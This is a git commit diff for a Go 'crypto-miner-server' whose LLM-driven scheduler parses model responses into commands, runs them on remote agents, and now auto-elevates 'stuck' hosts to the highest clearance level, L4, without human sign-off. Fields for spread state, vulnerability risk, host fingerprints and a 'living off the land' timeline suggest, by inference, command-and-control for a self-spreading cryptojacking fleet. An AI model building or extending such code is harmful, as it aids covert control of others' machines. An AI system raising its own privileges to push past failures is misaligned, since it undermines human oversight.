Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -7,6 +7,9 @@ import (
"log"
"sync"
"time"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/strategy"
)
// SnapshotProvider supplies live agent telemetry for decision cycles.
@@ -27,30 +30,40 @@ type ConfigProvider interface {
// DecisionStore persists decision audit rows.
type DecisionStore interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
}
// ClearanceElevator raises agent clearance for stuck-host recovery.
type ClearanceElevator interface {
Level(agentID string) int
RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
}
// Scheduler runs periodic LLM decisions for online agents.
type Scheduler struct {
cfg ConfigProvider
snap SnapshotProvider
exec CommandExecutor
store DecisionStore
stop chan struct{}
wg sync.WaitGroup
cfg ConfigProvider
snap SnapshotProvider
exec CommandExecutor
store DecisionStore
court CourtContext
elevator ClearanceElevator
stop chan struct{}
wg sync.WaitGroup
lastRunMu sync.Mutex
lastRun map[string]time.Time
}
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler {
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
return &Scheduler{
cfg: cfg,
snap: snap,
exec: exec,
store: store,
stop: make(chan struct{}),
lastRun: make(map[string]time.Time),
cfg: cfg,
snap: snap,
exec: exec,
store: store,
court: court,
elevator: elevator,
stop: make(chan struct{}),
lastRun: make(map[string]time.Time),
}
}
@@ -83,6 +96,16 @@ func (s *Scheduler) Tick() {
s.tick()
}
// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
s.lastRunMu.Lock()
defer s.lastRunMu.Unlock()
if s.lastRun == nil {
s.lastRun = make(map[string]time.Time)
}
s.lastRun[agentID] = time.Now().Add(-ago)
}
func (s *Scheduler) tick() {
if s.cfg == nil || s.snap == nil {
return
@@ -129,9 +152,37 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
if !ok {
return
}
userPrompt := BuildUserPrompt(snap)
systemPrompt := SystemPrompt()
promptHash := hashPrompt(userPrompt)
s.maybeAutoElevate(agentID, snap, cfg)
if s.elevator != nil {
snap.ClearanceLevel = s.elevator.Level(agentID)
}
var systemPrompt, userPrompt string
var courtMeta *CourtDecisionMeta
useCourt := ShouldUseCourt(snap)
if useCourt {
atlasSummary := ""
var phenotype *strategy.FleetPhenotype
if s.court != nil {
goos := firstNonEmpty(snap.GOOS, snap.Platform)
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
phenotype = p
}
}
persona := NormalizePersona(cfg.Persona)
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
systemPrompt = bundle.SystemPrompt
userPrompt = bundle.UserPrompt
courtMeta = &CourtDecisionMeta{
CourtSession: true,
ProsecutorSnippet: bundle.ProsecutorSnippet,
DefenderSnippet: bundle.DefenderSnippet,
}
} else {
systemPrompt = PersonaSystemPrompt(cfg.Persona)
userPrompt = BuildMissionPrompt(snap)
}
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
decide := Decide
if DecideFunc != nil {
@@ -141,12 +192,15 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
if err != nil {
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error())
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
}
s.markRun(agentID)
return
}
if courtMeta != nil {
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
}
cmds := ParseCommands(response)
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
@@ -167,11 +221,28 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
}
executed := FormatExecuted(cmds, results)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed)
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
}
s.markRun(agentID)
}
const stuckHostFailedTierThreshold = 14
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
if !cfg.AutoElevateClearance || s.elevator == nil {
return
}
if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
return
}
if s.elevator.Level(agentID) >= clearance.L4 {
return
}
if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
}
}
func hashPrompt(prompt string) string {
h := sha256.Sum256([]byte(prompt))
return hex.EncodeToString(h[:8])

View File

@@ -5,6 +5,8 @@ import (
"sync"
"testing"
"time"
"crypto-miner-server/internal/clearance"
)
type mockSnap struct {
@@ -38,7 +40,7 @@ type mockStore struct {
rows []string
}
func (m *mockStore) InsertAIDecision(_, _, _, executed string) error {
func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error {
m.mu.Lock()
m.rows = append(m.rows, executed)
m.mu.Unlock()
@@ -59,6 +61,8 @@ func TestSchedulerExecutesRestartCommand(t *testing.T) {
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
exec,
store,
nil,
nil,
)
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
@@ -84,9 +88,77 @@ func TestSchedulerNoOpWhenDisabled(t *testing.T) {
&mockSnap{ids: []string{"agent-1"}},
exec,
nil,
nil,
nil,
)
sched.Tick()
if len(exec.calls) != 0 {
t.Fatalf("expected no calls")
}
}
type mockElevator struct {
mu sync.Mutex
requests []struct {
agentID string
toLevel int
reason string
source string
}
level int
}
func (m *mockElevator) Level(string) int {
if m.level > 0 {
return m.level
}
return clearance.L1
}
func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
m.mu.Lock()
defer m.mu.Unlock()
m.requests = append(m.requests, struct {
agentID string
toLevel int
reason string
source string
}{agentID, toLevel, reason, source})
m.level = toLevel
return toLevel, nil
}
func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `{"commands":[{"type":"noop","args":{}}]}`, nil
}
elevator := &mockElevator{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}},
&mockSnap{
ids: []string{"stuck-1"},
snap: AgentSnapshot{
AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14,
},
},
&mockExec{},
&mockStore{},
nil,
elevator,
)
sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
elevator.mu.Lock()
defer elevator.mu.Unlock()
if len(elevator.requests) != 1 {
t.Fatalf("expected 1 elevation, got %+v", elevator.requests)
}
req := elevator.requests[0]
if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" {
t.Fatalf("unexpected elevation: %+v", req)
}
}

View File

@@ -33,6 +33,11 @@ type AgentSnapshot struct {
SpreadState string
VulnRisk *int
Stuck bool
FailedTierCount int
ClearanceLevel int
FingerprintKey string
AdaptiveSummary string
Adaptive *strategy.AdaptiveStrategy
}
@@ -45,11 +50,13 @@ type Command struct {
// Config holds runtime Fleet AI Control settings.
type Config struct {
Enabled bool
Endpoint string
Model string
NoContext bool
IntervalSec int
Enabled bool
Endpoint string
Model string
NoContext bool
IntervalSec int
AutoElevateClearance bool
Persona string
}
// DecisionRecord is persisted for the UI timeline.